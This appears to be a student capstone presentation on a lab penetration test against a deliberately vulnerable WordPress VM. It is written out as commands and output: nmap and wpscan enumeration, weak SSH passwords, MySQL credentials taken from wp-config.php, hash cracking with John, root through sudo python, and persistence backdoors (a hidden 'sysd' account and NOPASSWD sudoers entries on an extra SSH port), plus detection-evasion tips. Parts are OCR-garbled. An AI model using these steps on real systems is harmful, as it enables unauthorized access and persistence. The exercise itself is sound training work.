
## Final Engagement Attack, Defense & Analysis of a Vulnerable Network



Presentation by Kevin Alvarado, Muhammed Jawara, Symantha Meyers, and Mitch Murov

## Table of Contents This document contains the following resources: **Network Topology & Critical Vulnerabilities Exploits Used Avoiding Detect Maintaining Access**



#### Hostname: Kali IPv4 address: 192.168.1.90 OS: Linux **Hostname:** ELK Server IPv4 address: 192.168.1.100 OS: Windows H H H

Hostname: Capstone IPv4 Address: 192.168.1.105

**OS: Windows** 

**Hostname: Target 1** 

IPv4 Address: 192.168.1.110


**OS:** Windows

**Hostname: Target2** 

IPv4 Address: 192.168.12.115

**OS:** Windows

#### **Network Topology**






Our assessment uncovered the following critical vulnerabilities in Target 1.

Vulnerability	Description	Impact
SSH	22/tcp	OpenSSH
HTTP	80/tcp	Apache httpd 2.4
rpcbind	111/tcp	2-4
netbios-ssn	139/tcp	samba smbd 3.x-4.x

Critical Vulnerabilities: Target 2

Our assessment uncovered the following critical vulnerabilities in Target 2.

Vulnerability	Description	Impact
SSH	22/tcp	OpenSSH
HTTP	80/tcp	Apache httpd 2.4.1
rpcbind	111/tcp	2,3,4
netbios-ssn	139/tcp	Samba smbd 3.x-4.x



#### Exploitations

As we saw from nmap that there are several weaknesses to exploit, most notably ssh to gain a user shell and mysql. The next few slides will break down the major steps to this

```
Nmap scan report for 192.168.1.110
Host is up (0.00077s latency).
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Nmap scan report for 192.168.1.115
Host is up (0.0016s latency).
MAC Address: 00:15:5D:00:04:11 (Microsoft)
Nmap scan report for 192.168.1.90
Host is up.
Nmap done: 255 IP addresses (6 hosts up) scanned in 3.67 seconds
root@Kali:~#
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 (https://nmap.org) at 2021-01-21 15:32 PST
Nmap scan report for 192.168.1.110
                         OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http
                          Apache httpd 2.4.10 ((Debian))
                         2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.19 seconds
root@Kali:~#
```

• I exploited the vulnerability by running nmap to find the ip and check open ports. We found that 198.162.1.110 had several open ports as discussed before.

wpscan gave us two users michael and steven. We attempted to ssh into michael and found that michael had a very weak, guessable password.

Command wpscan — url http://192.168.1.110/wordpress -eu

```
michael@192.168.1.110's password:
The programs included with the Debian GNU/
the exact distribution terms for each prog
individual files in /usr/share/doc/*/copyr:
Debian GNU/Linux comes with ABSOLUTELY NO N
permitted by applicable law.
You have new mail.
Last login: Wed Jan 20 14:36:19 2021 from :
michael@target1:~$ cat /var/www/flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:~$ find /var -iname *flag*
find: `/var/spool/mqueue-client': Permissi
find: `/var/spool/rsyslog': Permission den
find: `/var/spool/mqueue': Permission deni
find: `/var/spool/exim4': Permission denie
find: `/var/spool/cron/atjobs': Permission
find: `/var/spool/cron/crontabs': Permissi
find: `/var/spool/cron/atspool': Permission
/var/www/html/wordpress/wp-includes/images,
/var/www/html/wordpress/wp-includes/images.
/var/www/flag2.txt
find. '/war/log/matrichast'. Darmiccion del
```

#### FLAGS

#### Flags 1 & 2 Shown Below:

```
numit/vendor/examples/scripts/akegexp.js:
                                                     Secredg: Tunction (Trag) (T
                                                 regex = RegExp(output.join( n (
html/vendor/examples/scripts/XRegExp.js:
html/vendor/examples/scripts/XRegExp.js:
                                             // Token scope bitflags
                                                                             flagClip = /[^gimy]+|([\s\S
html/vendor/examples/scripts/XRegExp.js:
 flags
                                             // Lets you extend or change XR
html/vendor/examples/scripts/XRegExp.js:
 used internally by
html/vendor/examples/scripts/XRegExp.js:
                                             // Accepts a pattern and flags;
pattern and flag
html/vendor/examples/scripts/XRegExp.js:
                                            XRegExp.cache = function (patte
var key = pattern + "/" + (
html/vendor/examples/scripts/XRegExp.js:
html/vendor/examples/scripts/XRegExp.js:
                                                return XRegExp.cache[key]
s));
                                             // Accepts a `RegExp` instance;
html/vendor/examples/scripts/XRegExp.js:
opy has a fresh
html/vendor/examples/scripts/XRegExp.js:
                                             // syntax and flag changes. Sho
loaded
html/vendor/examples/scripts/XRegExp.js:
                                             // third (`flags`) parameter
html/vendor/examples/scripts/XRegExp.js:
                                             // capture. Also allows adding
html/vendor/examples/scripts/XRegExp.js:
                                             // Augment XRegExp's regular ex
ing tokens, the
html/vendor/examples/scripts/XRegExp.js:
                                             // Mode modifier at the start o
lags imsx: (?imsx)
html/vendor/composer.lock:
                              "stability-flags": [],
html/service.html:
                                        flag1{b9bbcb33e11b80be759c4e844862
michael@target1:/var/www$
```

File Actions Edit View Help

root@Kali:~# ssh michael@192.168.1.110
michael@192.168.1.110's password:
Permission denied, please try again.
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/\*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

You have new mail.

Last login: Wed Jan 20 14:36:19 2021 from 192.168.1.90

michael@target1:~\$ cat /var/www/flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

michael@target1:~\$

MYSQL Exploit into Wordpress database The wp\_config .php file is easily readable to give us the username and password for MySql. I was able to switch to the wordpress database and get hashed user passwords.

The path on michael@target1: //www/html/wordpress/wp-config.php/wp-config.php.

Found username: root password: R@v3nsecurity

```
Server version: 5.5.60-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
  Database
  information_schema
  mysql
  performance_schema
  wordpress
4 rows in set (0.00 sec)
mysql> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mvsal>
    2 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | flag3{afc01ab56b50591e7dccf93122770cd2}
```

## Output from wp\_users. This was then run through nano- and edited to create a text file wp\_users.txt

```
12 rows in set (0.00 sec)
mysql> select * from wp_users;
                                                        user_nicename | user_email
                                                                                           | user_url | user_registered
      user_login | user_pass
      user_activation_key | user_status | display_name
                   $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael
                                                                       michael@raven.org
                                                                                                       2018-08-12 22:49
       michael
                   $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven
                                                                        steven@raven.org
                                                                                                       2018-08-12 23:31
      steven
                                     0 | Steven Seagull
2 rows in set (0.00 sec)
```

#### Use John the Cracker to crack user information from MYSQL

Put users from MYSQL through John. We find Steven has a password of pink84 which allows us to get control of steven

```
TOULONALI:~# John wp_nashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16×3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 57 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
pink84
                 ( steven)
1g 0:00:02:59 DONE 3/3 (2021-01-21 17:18) 0.005585g/s 20676p/s 20676c/s 20676C/s poslus..pingar
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
root@Kali:~# john --show wp_hashes.txt
 steven:pink84
```

## Take control of Steven and promote to root. Break into Raven Security

root@TARGET1:/ > id

uid=0(root) gid=0(root) groups=0(root)

root@TARGET1:/ > cd /root

root@TARGET1:/root > Is

flag4.txt

root@TARGET1:/ > id

uid=0(root) gid=0(root) groups=0(root)


root@TARGET1:/ > cd /root

root@TARGET1:/root > ls

flag4.txt

root@TARGET1:/root > cat flag4.txt







# Stealth Exploitation of SSH | Port 22 Monitoring Overview

- Ssh logging in kibana
- Which metrics do they measure? SSH attempts, traffic on port 22

#### Mitigating Detection

- Create a user and escalate to root to privileges.
- Register your IP as safe in infested computer for recognized access. (Public

# Stealth Exploitation of HTTP/Port 80 **Monitoring Overview**

- HTTP REQUESTS/HTTP Errors.
- Number of requests/errors per metric of time (Min/Hour).
- 400 errors in under 5 minutes/3.5kb in requests in under 1 min.

#### Mitigating Detection

Low and Slow attack



### Backdooring the Target

#### Backdoor Overview

I used 2 means of creating a backdoor to the target server (192.168.1.110 - Target 1)

1. 1st backdoor

Changed the rights of the "steven" account to grant the user sudoer-level access

2. 2nd backdoor

Created a new "sysd" account to mimic a system user account

#### Backdooring the Target 1

Backdoor 1 - Escalating Privileges

 Once the connection was made via SSH to the steven account, I typed sudo -I to view steven's sudo privileges

```
root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 20 18:49:50 2021 from 192.168.1.90
$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:
User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python
$
```


#### Backdooring the Target 1 part 2

- Ran whoami to verify my current username
- Ran sudo python -c 'import pty;pty.spawn("/bin/bash");' to escalate my privileges to root access.
- Ran whoami to verify my new privileged status as "root"

```
$ whoami
steven
$ sudo python -c 'import pty;pty.spawn("/bin/bash");'
root@target1:/home/steven# whoami
root
root@target1:/home/steven#
```

#### Backdooring the Target 1 (cont.)

Checked the sudoers file with sudo visudo -f sudoers to view steven's access



Added full root-level access to steven in the sudgers file to maintain access

```
# User privilege specification
root ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo ALL=(ALL) NOPASSWD:ALL

# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d

steven ALL=(ALL) NOPASSWD:ALL
```

#### Backdooring the Target 1 (cont.)

#### **Testing the Access**

---

 Exited the "root" account and ran whoami to verify I was back in the steven account, then ran sudo nano /etc/passwd to verify sudo access... success!

GNU nano 2.2.6

File: /etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false Debian-exim:x:104:109::/var/spool/exim4:/bin/false messagebus:x:105:110::/var/run/dbus:/bin/false statd:x:106:65534::/var/lib/nfs:/bin/false sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin michael:x:1000:1000:michael,,,:/home/michael:/bin/bash smmta:x:108:114:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false smmsp:x:109:115:Mail Submission Program,,,:/var/lib/sendmail:/bin/false mysql:x:110:116:MySQL Server,,,:/nonexistent:/bin/false steven:x:1001:1001::/home/steven:/bin/sh vagrant:x:1002:1002:,,,:/home/vagrant:/bin/bash

#### Backdooring the Target 2

Backdoor 2 - Create a new user account with a low UID

- Created a user named "sysd" using sudo useradd sysd
- Gave "sysd" a new, difficult-to-hack password (not telling you what it is)
- Gave "sysd" a user id of 400
- Gave "sysd" a group id of 400

```
$ sudo useradd sysd
$ sudo passwd sysd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
$ sudo usermod -u 400 sysd
$ sudo groupmod -g 400 sysd
```

#### Backdooring the Target 2 (cont.)

Ran sudo visudo to modify the sudoers file

# Cmnd alias specification

# User privilege specification

%sudo ALL=(ALL) NOPASSWD:ALL

#includedir /etc/sudoers.d

ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command

# See sudoers(5) for more information on "#include" directives:

```
sysd ALL=(ALL:ALL) NOPASSWD:ALL
                                    File: /etc/sudoers.tmp
 GNU nano 2.2.6
                                                                                                      GNU nano 2.2.6
                                                                                                                                                   File: /etc/sudoers.tmp
                                                                                                     # User privilege specification
                                                                                                             ALL=(ALL:ALL) ALL
# This file MUST be edited with the 'visudo' command as root.
                                                                                                     # Allow members of group sudo to execute any command
# Please consider adding local content in /etc/sudoers.d/ instead of
                                                                                                             ALL=(ALL) NOPASSWD:ALL
# directly modifying this file.
# See the man page for details on how to write a sudoers file.
                                                                                                     #includedir /etc/sudoers.d
Defaults
             env_reset
                                                                                                     steven ALL=(ALL) NOPASSWD:ALL
Defaults
             mail_badpass
Defaults
             secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
```

# See sudoers(5) for more information on "#include" directives: sysd ALL=(ALL:ALL) NOPASSWD:ALL

Created a new entry for the "sysd" user:

#### Backdooring the Target 2 (cont.)

Swapped to the new "sysd" user account and ran whoami to verify the account in which I was logged in. Tested my new access by running sudo -I to view my sudoer privileges

```
$ su sysd
Password:
$ whoami
sysd
$ sudo -l
Matching Defaults entries for sysd on raven:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/sbin\:/bin
```

Then edited the sshd config file to add a new ssh port (2222)

```
# Package generated configuration file
# See the sshd_config(5) manpage for details

# What ports, IPs and protocols we listen for
Port 22
Port 2222
```

#### Backdooring the Target 2 (cont.)

1) Tested the new configuration and user account by exiting out of the steven account ssh session and restarting the SSH service

```
$ exit
$ whoami
steven
$ exitConnection to 192.168.1.110 closed.
root@Kali:~# systemctl restart ssh
root@Kali:~#
```

2) SSH'd into the target machine with the new sysd account on port 2222

```
root@Kali:~# ssh sysd@192.168.1.110 -p 2222
sysd@192.168.1.110's password:
```

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/\*/copyright.

```
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.

Last login: Tue Jan 26 10:06:51 2021 from 192.168.1.90

Could not chdir to home directory /home/sysd: No such file or directory $
```

3) Ran *sudo su* to escalate privileges to root

```
$ sudo su
root@target1:/#
```

